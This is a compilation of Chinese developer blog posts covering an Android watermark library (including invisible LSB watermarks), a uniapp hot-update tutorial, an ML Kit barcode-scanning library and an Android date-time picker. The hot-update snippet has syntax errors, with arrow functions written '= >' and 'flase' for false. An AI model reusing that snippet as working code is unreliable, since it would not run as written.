     WatermarkDetector
          .create(inputBitmap, true)
          .detect(false, new DetectFinishListener() {
               @Override
               public void onImage(Bitmap watermark) {
                   if (watermark != null) {
                        // do something...
                  }
              }

               @Override
               public void onText(String watermark) {
                   if (watermark != null) {
                       // do something...
                  }
              }

               @Override
               public void onFailure(String message) {
                      // do something...
              }
          });

LSB 隐形空域水印 Demo 动态图:

imgimg
隐形文字水印 (LSB)隐形图像水印 (LSB)

好啦!请尽情使用吧 😘

使用说明

水印位置

我们使用 WatermarkPosition 这个类的对象来控制具体水印出现的位置。

   WatermarkPosition watermarkPosition = new WatermarkPosition(double position_x, double position_y, double rotation);
  WatermarkPosition watermarkPosition = new WatermarkPosition(double position_x, double position_y);

在函数构造器中,我们可以设定水印图片的横纵坐标,如果你想在构造器中初始化一个水印旋转角度也是可以的, 水印的坐标系以背景图片的左上角为原点,横轴向右,纵轴向下。

WatermarkPosition 同时也支持动态调整水印的位置,这样你就不需要一次又一次地初始化新的位置对象了, androidwm 提供了一些方法:

     watermarkPosition
            .setPositionX(x)
            .setPositionY(y)
            .setRotation(rotation);

在全覆盖水印模式(Tile mode)下,关于水印位置的参数将会失效。

imgimg
x = y = 0, rotation = 15x = y = 0.5, rotation = -15

横纵坐标都是一个从 0 到 1 的浮点数,代表着和背景图片的相对比例。

字体水印的颜色

你可以在 WatermarkText 中设置字体水印的颜色或者是其背景颜色:

    WatermarkText watermarkText = new WatermarkText(editText)
          .setPositionX(0.5)
          .setPositionY(0.5)
          .setTextSize(30)
          .setTextAlpha(200)
          .setTextColor(Color.GREEN)
          .setBackgroundColor(Color.WHITE); // 默认背景颜色是透明的
imgimg
color = green, background color = whitecolor = green, background color = default

字体颜色的阴影和字体

你可以从软件资源中加载一种字体,也可以通过方法 setTextShadow 设置字体的阴影。

    WatermarkText watermarkText = new WatermarkText(editText)
          .setPositionX(0.5)
          .setPositionY(0.5)
          .setTextSize(40)
          .setTextAlpha(200)
          .setTextColor(Color.GREEN)
          .setTextFont(R.font.champagne)
          .setTextShadow(0.1f, 5, 5, Color.BLUE);
imgimg
font = champagneshadow = (0.1f, 5, 5, BLUE)

阴影的四个参数分别为: (blur radius, x offset, y offset, color).

字体大小和图片大小

水印字体和水印图片大小的单位是不同的:
- 字体大小和系统布局中字体大小是类似的,取决于屏幕的分辨率和背景图片的像素,您可能需要动态调整。
- 图片大小是一个从 0 到 1 的浮点数,是水印图片的宽度占背景图片宽度的比例。

imgimg
image size = 0.3text size = 40

方法列表

对于 WatermarkTextWatermarkImage 的定制化,我们提供了一些常用的方法:

方法名称备注默认值
setPosition水印的位置类 WatermarkPositionnull
setPositionX水印的横轴坐标,从背景图片左上角为(0,0)0
setPositionY水印的纵轴坐标,从背景图片左上角为(0,0)0
setRotation水印的旋转角度0
setTextColor (WatermarkText)WatermarkText 的文字颜色Color.BLACK
setTextStyle (WatermarkText)WatermarkText 的文字样式Paint.Style.FILL
setBackgroundColor (WatermarkText)WatermarkText 的背景颜色null
setTextAlpha (WatermarkText)WatermarkText 文字的透明度, 从 0 到 25550
setImageAlpha (WatermarkImage)WatermarkImage 图片的透明度, 从 0 到 25550
setTextSize (WatermarkText)WatermarkText 字体的大小,单位与系统 layout 相同20
setSize (WatermarkImage)WatermarkImage 水印图片的大小,从 0 到 1 (背景图片大小的比例)0.2
setTextFont (WatermarkText)WatermarkText 的字体default
setTextShadow (WatermarkText)WatermarkText 字体的阴影与圆角(0, 0, 0)
setImageDrawable (WatermarkImage)WatermarkImage的图片资源null

WatermarkImage 的一些基本属性和WatermarkText 的相同。

项目地址:https://github.com/huangyz0918/AndroidWM

作者:huangyz0918
来源:https://www.wanandroid.com/blog/show/2346

收起阅读 »

uniapp热更新

热更新主要是针对app上线之后页面出现bug,修改之后又得打包,上线,每次用户都得在应用市场去下载很影响用户体验,如果用户不愿意更新,一直提示都不愿意更新,这个bug就会一直存在。 可能你一不小心写错了代码,整个团队的努力都会付之东流,苦不苦,冤不冤,想想都苦...
继续阅读 »



为什么要热更新

热更新主要是针对app上线之后页面出现bug,修改之后又得打包,上线,每次用户都得在应用市场去下载很影响用户体验,如果用户不愿意更新,一直提示都不愿意更新,这个bug就会一直存在。 可能你一不小心写错了代码,整个团队的努力都会付之东流,苦不苦,冤不冤,想想都苦,所以这个时候热更新就显得很重要了。

首先你需要在manifest.json 中修改版本号

如果之前是1.0.0那么修改之后比如是1.0.1或者1.1.0这样

然后你需要在HBuilderX中打一个wgt包

在顶部>发行>原生App-制作移动App资源升级包

包的位置会在控制台里面输出

你需要和后端约定一下接口,传递参数

然后你就可以在app.vue的onLaunch里面编写热更新的代码了,如果你有其他需求,你可以在其他页面的onLoad里面编写。

// #ifdef APP-PLUS  //APP上面才会执行
plus.runtime.getProperty(plus.runtime.appid,
function(widgetInfo) {
uni.request({
url: '请求url写你自己的',
method: "POST",
data: {
version: widgetInfo.version,
//app版本号
name: widgetInfo.name //app名称
},
success: (result) = >{
console.log(result) //请求成功的数据
var data = result.data.data
if (data.update && data.wgtUrl) {
var uploadTask = uni.downloadFile({ //下载
url: data.wgtUrl,
//后端传的wgt文件
success: (downloadResult) = >{ //下载成功执行
if (downloadResult.statusCode === 200) {
plus.runtime.install(downloadResult.tempFilePath, {
force: flase
},
function() {
plus.runtime.restart();
},
function(e) {});
}
},
}) uploadTask.onProgressUpdate((res) = >{
// 测试条件,取消上传任务。
if (res.progress == 100) { //res.progress 上传进度
uploadTask.abort();
}
});
}
}
});
});
// #endif

不支持的情况

  • SDK 部分有调整,比如新增了 Maps 模块等,不可通过此方式升级,必须通过整包的方式升级。

  • 原生插件的增改,同样不能使用此方式。
    对于老的非自定义组件编译模式,这种模式已经被淘汰下线。但以防万一也需要说明下,老的非自定义组件编译模式,如果之前工程没有 nvue 文件,但更新中新增了 nvue 文件,不能使用此方式。因为非自定义组件编译模式如果没有nvue文件是不会打包weex引擎进去的,原生引擎无法动态添加。自定义组件模式默认就含着weex引擎,不管工程下有没有nvue文件。

注意事项

  • 条件编译,仅在 App 平台执行此升级逻辑。

  • appid 以及版本信息等,在 HBuilderX 真机运行开发期间,均为 HBuilder 这个应用的信息,因此需要打包自定义基座或正式包测试升级功能。

  • plus.runtime.version 或者 uni.getSystemInfo() 读取到的是 apk/ipa 包的版本号,而非 manifest.json 资源中的版本信息,所以这里用 plus.runtime.getProperty() 来获取相关信息。

  • 安装 wgt 资源包成功后,必须执行 plus.runtime.restart(),否则新的内容并不会生效。

  • 如果App的原生引擎不升级,只升级wgt包时需要注意测试wgt资源和原生基座的兼容性。平台默认会对不匹配的版本进行提醒,如果自测没问题,可以在manifest中配置忽略提示,详见ask.dcloud.net.cn/article/356…

  • http://www.example.com 是一个仅用做示例说明的地址,实际应用中应该是真实的 IP 或有效域名,请勿直接复制粘贴使用。

关于热更新是否影响应用上架

应用市场为了防止开发者不经市场审核许可,给用户提供违法内容,对热更新大多持排斥态度。

但实际上热更新使用非常普遍,不管是原生开发中还是跨平台开发。

Apple曾经禁止过jspatch,但没有打击其他的热更新方案,包括cordovar、react native、DCloud。封杀jspatch其实是因为jspatch有严重安全漏洞,可以被黑客利用,造成三方黑客可篡改其他App的数据。

使用热更新需要注意:

  • 上架审核期间不要弹出热更新提示

  • 热更新内容使用https下载,避免被三方网络劫持

  • 不要更新违法内容、不要通过热更新破坏应用市场的利益,比如iOS的虚拟支付要老老实实给Apple分钱

如果你的应用没有犯这些错误,应用市场是不会管的。

作者:是一个秃头
来源:https://juejin.cn/post/7039273141901721608

收起阅读 »

android媲美微信扫码库

之前使用的是zxing封装的库,但是识别率和识别速度没法和微信比较,现在使用的Google开源识别库完全可以和微信媲美github:github.com/DyncKathlin…强烈推荐MIKit Barcode Scanning识别速度超快,基本上camer...
继续阅读 »



之前使用的是zxing封装的库,但是识别率和识别速度没法和微信比较,现在使用的Google开源识别库完全可以和微信媲美

github:github.com/DyncKathlin…

强烈推荐MIKit Barcode Scanning

识别速度超快,基本上camera抓取到二维码就能识别到其内容(这是重点)。
基于MIKit Barcode Scanning的识别库进行封装,操作简单。
支持识别多个二维码,条形码。
支持任意比例展示,可以1:2,1.5:2等,不会发生像拉伸变形。
使用camera,不是cameraX哦。

效果图


第一个是Google开源的,第二个是zxing开源的

使用方式

build.gradle引用

implementation 'com.github.dynckathline:barcode:2.5'

初始化和监听结果回调

        //构造出扫描管理器
      configViewFinderView(viewfinderView);
      mlKit = new MLKit(this, preview, graphicOverlay);
      //是否扫描成功后播放提示音和震动
      mlKit.setPlayBeepAndVibrate(true, true);
      //仅识别二维码
      BarcodeScannerOptions options =
              new BarcodeScannerOptions.Builder()
                      .setBarcodeFormats(
                              Barcode.FORMAT_QR_CODE,
                              Barcode.FORMAT_AZTEC)
                      .build();
      mlKit.setBarcodeFormats(null);
      mlKit.setOnScanListener(new MLKit.OnScanListener() {
          @Override
          public void onSuccess(List<Barcode> barcodes, @NonNull GraphicOverlay graphicOverlay, InputImage image) {
              showScanResult(barcodes, graphicOverlay, image);
          }

          @Override
          public void onFail(int code, Exception e) {

          }
      });

展示结果

private void showScanResult(List<Barcode> barcodes, @NonNull GraphicOverlay graphicOverlay, InputImage image) {
      if (barcodes.isEmpty()) {
          return;
      }

      mlKit.setAnalyze(false);
      CustomDialog.Builder builder = new CustomDialog.Builder(context);
      CustomDialog dialog = builder
              .setContentView(R.layout.barcode_result_dialog)
              .setLayoutParams(ViewGroup.LayoutParams.WRAP_CONTENT, ViewGroup.LayoutParams.WRAP_CONTENT)
              .setOnInitListener(new CustomDialog.Builder.OnInitListener() {
                  @Override
                  public void init(CustomDialog customDialog) {
                      Button btnDialogCancel = customDialog.findViewById(R.id.btnDialogCancel);
                      Button btnDialogOK = customDialog.findViewById(R.id.btnDialogOK);
                      TextView tvDialogContent = customDialog.findViewById(R.id.tvDialogContent);
                      ImageView ivDialogContent = customDialog.findViewById(R.id.ivDialogContent);

                      Bitmap bitmap = null;
                      ByteBuffer byteBuffer = image.getByteBuffer();
                      if (byteBuffer != null) {
                          FrameMetadata.Builder builder = new FrameMetadata.Builder();
                          builder.setWidth(image.getWidth())
                                  .setHeight(image.getHeight())
                                  .setRotation(image.getRotationDegrees());
                          bitmap = BitmapUtils.getBitmap(byteBuffer, builder.build());
                      } else {
                          bitmap = image.getBitmapInternal();
                      }
                      if (bitmap != null) {
                          graphicOverlay.add(new CameraImageGraphic(graphicOverlay, bitmap));
                      } else {
                          ivDialogContent.setVisibility(View.GONE);
                      }
                      SpanUtils spanUtils = SpanUtils.with(tvDialogContent);
                      for (int i = 0; i < barcodes.size(); ++i) {
                          Barcode barcode = barcodes.get(i);
                          BarcodeGraphic graphic = new BarcodeGraphic(graphicOverlay, barcode);
                          graphicOverlay.add(graphic);
                          Rect boundingBox = barcode.getBoundingBox();
                          spanUtils.append(String.format("(%d,%d)", boundingBox.left, boundingBox.top))
                                  .append(barcode.getRawValue())
                                  .setClickSpan(i % 2 == 0 ? getResources().getColor(R.color.colorPrimary) : getResources().getColor(R.color.colorAccent), false, new View.OnClickListener() {
                              @Override
                              public void onClick(View v) {
                                  Toast.makeText(getApplicationContext(), barcode.getRawValue(), Toast.LENGTH_SHORT).show();
                              }
                          })
                                  .setBackgroundColor(i % 2 == 0 ? getResources().getColor(R.color.colorAccent) : getResources().getColor(R.color.colorPrimary))
                                  .appendLine()
                                  .appendLine();
                      }
                      spanUtils.create();
                      Bitmap bitmapFromView = loadBitmapFromView(graphicOverlay);
                      ivDialogContent.setImageBitmap(bitmapFromView);

                      btnDialogCancel.setOnClickListener(new View.OnClickListener() {
                          @Override
                          public void onClick(View v) {
                              customDialog.dismiss();
                              finish();
                          }
                      });
                      btnDialogOK.setOnClickListener(new View.OnClickListener() {
                          @Override
                          public void onClick(View v) {
                              customDialog.dismiss();
                              mlKit.setAnalyze(true);
                          }
                      });
                  }
              })
              .build();
  }

作者:KathLine
来源:https://juejin.cn/post/6972476138203381790

收起阅读 »

Android:这是一个让你心动的日期&时间选择组件

预览引入添加 JitPack repositoryallprojects { repositories { ... maven { url "https://jitpack.io" } }}添加 Gradle依赖depe...
继续阅读 »



预览




imgimgimg

引入

添加 JitPack repository

allprojects {
repositories {
...
maven { url "https://jitpack.io" }
}
}

添加 Gradle依赖

dependencies {
  ...
  implementation 'com.google.android.material:material:1.1.0' //为了防止不必要的依赖冲突,0.0.3开始需要自行依赖google material库
  implementation 'com.github.loperSeven:DateTimePicker:0.3.0'//此处不保证最新版本,最新版需前往文末github查看
}

开始使用

内置弹窗CardDatePickerDialog

最简单的使用方式

//kotlin
    CardDatePickerDialog.builder(this)
              .setTitle("SET MAX DATE")
              .setOnChoose {millisecond->
                 
              }.build().show()
//java
new CardDatePickerDialog.Builder(this)
              .setTitle("SET MAX DATE")
              .setOnChoose("确定", aLong -> {
                   //aLong = millisecond
                   return null;
              }).build().show();

所有可配置属性

  CardDatePickerDialog.builder(context)
              .setTitle("CARD DATE PICKER DIALOG")
              .setDisplayType(displayList)
              .setBackGroundModel(model)
              .showBackNow(true)
              .setPickerLayout(layout)
              .setDefaultTime(defaultDate)
              .setMaxTime(maxDate)
              .setMinTime(minDate)
              .setWrapSelectorWheel(false)
              .setThemeColor(color)
              .showDateLabel(true)
              .showFocusDateInfo(true)
              .setLabelText("年","月","日","时","分")
              .setOnChoose("选择"){millisecond->}
              .setOnCancel("关闭") {}
              .build().show()

可配置属性说明

  • 设置标题

fun setTitle(value: String)
  • 是否显示回到当前按钮

fun showBackNow(b: Boolean)
  • 是否显示选中日期信息

fun showFocusDateInfo(b: Boolean)
  • 设置自定义选择器

//自定义选择器Layout注意事详见 【定制 DateTimePicker】
fun setPickerLayout(@NotNull layoutResId: Int)
  • 显示模式

// model 分为:CardDatePickerDialog.CARD//卡片,CardDatePickerDialog.CUBE//方形,CardDatePickerDialog.STACK//顶部圆角
// model 允许直接传入drawable资源文件id作为弹窗的背景,如示例内custom
fun setBackGroundModel(model: Int)
  • 设置主题颜色

fun setThemeColor(@ColorInt themeColor: Int)
  • 设置显示值

fun setDisplayType(vararg types: Int)
fun setDisplayType(types: MutableList<Int>)
  • 设置默认时间

fun setDefaultTime(millisecond: Long)
  • 设置范围最小值

fun setMinTime(millisecond: Long)
  • 设置范围最大值

fun setMaxTime(millisecond: Long)
  • 是否显示单位标签

fun showDateLabel(b: Boolean)
  • 设置标签文字

/**
*示例
*setLabelText("年","月","日","时","分")
*setLabelText("年","月","日","时")
*setLabelText(month="月",hour="时")
*/
fun setLabelText(year:String=yearLabel,month:String=monthLabel,day:String=dayLabel,hour:String=hourLabel,min:String=minLabel)
  • 设置是否循环滚动

/**
*示例(默认为true)
*setWrapSelectorWheel(false)
*setWrapSelectorWheel(DateTimeConfig.YEAR,DateTimeConfig.MONTH,wrapSelector = false)
*setWrapSelectorWheel(arrayListOf(DateTimeConfig.YEAR,DateTimeConfig.MONTH),false)
*/
fun setWrapSelectorWheel()
  • 绑定选择监听

/**
*示例
*setOnChoose("确定")
*setOnChoose{millisecond->}
*setOnChoose("确定"){millisecond->}
*/
fun setOnChoose(text: String = "确定", listener: ((Long) -> Unit)? = null)
  • 绑定取消监听

/**
*示例
*setOnCancel("取消")
*setOnCancel{}
*setOnCancel("取消"){}
*/
fun setOnCancel(text: String = "取消", listener: (() -> Unit)? = null)

选择器 DateTimePicker

xml中

app:layout 为自定义选择器布局 可参考 定制 DateTimePicker

        <com.loper7.date_time_picker.DateTimePicker
           android:id="@+id/dateTimePicker"
           android:layout_width="match_parent"
           android:layout_height="wrap_content"
           app:layout="@layout/layout_date_picker_segmentation"
           app:showLabel="true"
           app:textSize="16sp"
           app:themeColor="#FF8080" />

代码中

  • 设置监听

    dateTimePicker.setOnDateTimeChangedListener { millisecond ->  }

更多设置

  • 设置自定义选择器布局(注意:需要在dateTimePicker其他方法之前调用,否则其他方法将会失效)

 dateTimePicker.setLayout(R.layout.layout_date_picker_segmentation)//自定义layout resId
  • 设置显示状态

DateTimePicker支持显示 年月日时分 五个选项的任意组合,显示顺序以此为年、月、日、时、分,setDisplayType中可无序设置。

     dateTimePicker.setDisplayType(intArrayOf(
           DateTimeConfig.YEAR,//显示年
           DateTimeConfig.MONTH,//显示月
           DateTimeConfig.DAY,//显示日
           DateTimeConfig.HOUR,//显示时
           DateTimeConfig.MIN))//显示分
  • 设置默认选中时间

 dateTimePicker.setDefaultMillisecond(defaultMillisecond)//defaultMillisecond 为毫秒时间戳
  • 设置允许选择的最小时间

  dateTimePicker.setMinMillisecond(minMillisecond)
  • 设置允许选择的最大时间

  dateTimePicker.setMaxMillisecond(maxMillisecond)
  • 是否显示label标签(选中栏 年月日时分汉字)

  dateTimePicker.showLabel(true)
  • 设置主题颜色

  dateTimePicker.setThemeColor(ContextCompat.getColor(context,R.color.colorPrimary))
  • 设置字体大小

设置的字体大小为选中栏的字体大小,预览字体会根据字体大小等比缩放

  dateTimePicker.setTextSize(15)//单位为sp
  • 设置标签文字

  //全部
 dateTimePicker.setLabelText(" Y"," M"," D"," Hr"," Min")
 //指定
 dateTimePicker.setLabelText(min = "M")

定制 DateTimePicker

说明

DateTimePicker 主要由至多6个 NumberPicker 组成,所以在自定义布局时,根据自己所需的样式摆放 NumberPicker 即可。以下为注意事项

开始定制

  • DateTimePicker 至多支持6个 NumberPicker ,你可以在xml中按需摆放1-6个 NumberPicker

  • 为了让 DateTimePicker 找到 NumberPicker ,需要在xml中为 NumberPicker 指定 idtag,规则如下

/**
* year:np_datetime_year
* month:np_datetime_month
* day:np_datetime_day
* hour:np_datetime_hour
* minute:np_datetime_minute
* second:np_datetime_second
*/
android:id="@+id/np_datetime_year"  or  android:tag="np_datetime_year"
  • 使用定制UI

CardDatePickerDialog 中使用

fun setPickerLayout(@NotNull layoutResId: Int)

DateTimePicker 中使用

<com.loper7.date_time_picker.DateTimePicker
           android:id="@+id/dateTimePicker"
           android:layout_width="match_parent"
           android:layout_height="wrap_content"
           app:layout="@layout/layout_date_picker_segmentation"
           />

或者

 dateTimePicker.setLayout(R.layout.layout_date_picker_segmentation)//自定义layout resId

XML示例

示例图片

imgimg

更高的拓展性

如果以上自定义并不能满足你的需求,你还可以定制你自己的 DateTimePicker , 可参照 DateTimePicker.kt 定义你想要属性以及在代码内编写你的UI逻辑。选择器的各种逻辑约束抽离在 DateTimeController.kt ,你的 DateTimePicker 只需让 DateTimeController.kt 绑定 NumberPicker 即可。比如:

DateTimeController().bindPicker(YEAR, mYearSpinner)
          .bindPicker(MONTH, mMonthSpinner)
          .bindPicker(DAY, mDaySpinner).bindPicker(HOUR, mHourSpinner)
          .bindPicker(MIN, mMinuteSpinner).bindPicker(SECOND, mSecondSpinner).build()

作者:LOPER7
来源:https://juejin.cn/post/6917909994985750535

收起阅读 »